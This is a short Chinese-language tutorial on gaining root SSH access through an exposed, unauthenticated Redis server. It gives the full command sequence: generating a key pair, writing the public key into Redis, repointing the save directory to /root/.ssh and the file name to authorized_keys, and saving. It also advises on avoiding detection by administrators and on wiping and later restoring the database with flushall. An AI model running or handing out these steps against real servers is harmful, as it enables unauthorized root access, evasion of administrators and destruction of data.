先生成一对公钥私钥
ssh-keygen -t rsa -C "redis"
然后选择一下默认的就可以生成redis.pub公钥和redis私钥文件。
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n")>redis.txt
把换行符写在开头和结尾,不会和别的数据混淆。然后执行
cat redis.txt|./redis-cli -h 127.0.0.1 -x set 1
./redis-cli -h 127.0.0.1 config set dir /root/.ssh
./redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
./redis-cli -h 127.0.0.1 save
缺点有两个:会覆盖这个文件authorized_keys,如果原来服务器上管理员是使用过公钥的方法登陆就会导致管理员的公钥失效,容易被管理员发现。
还有一个缺点就是在数据库中数据太多的情况下,这个方法会无效。
可以通过备份数据库保存dump.rdb文件,再删除数据flushall
攻击之后再恢复,恢复数据需要先把dump.rdb放到redis/src目录下然后重启redis-server。需要重启redis服务是个缺点,服务会中断而且flushall也太暴力了。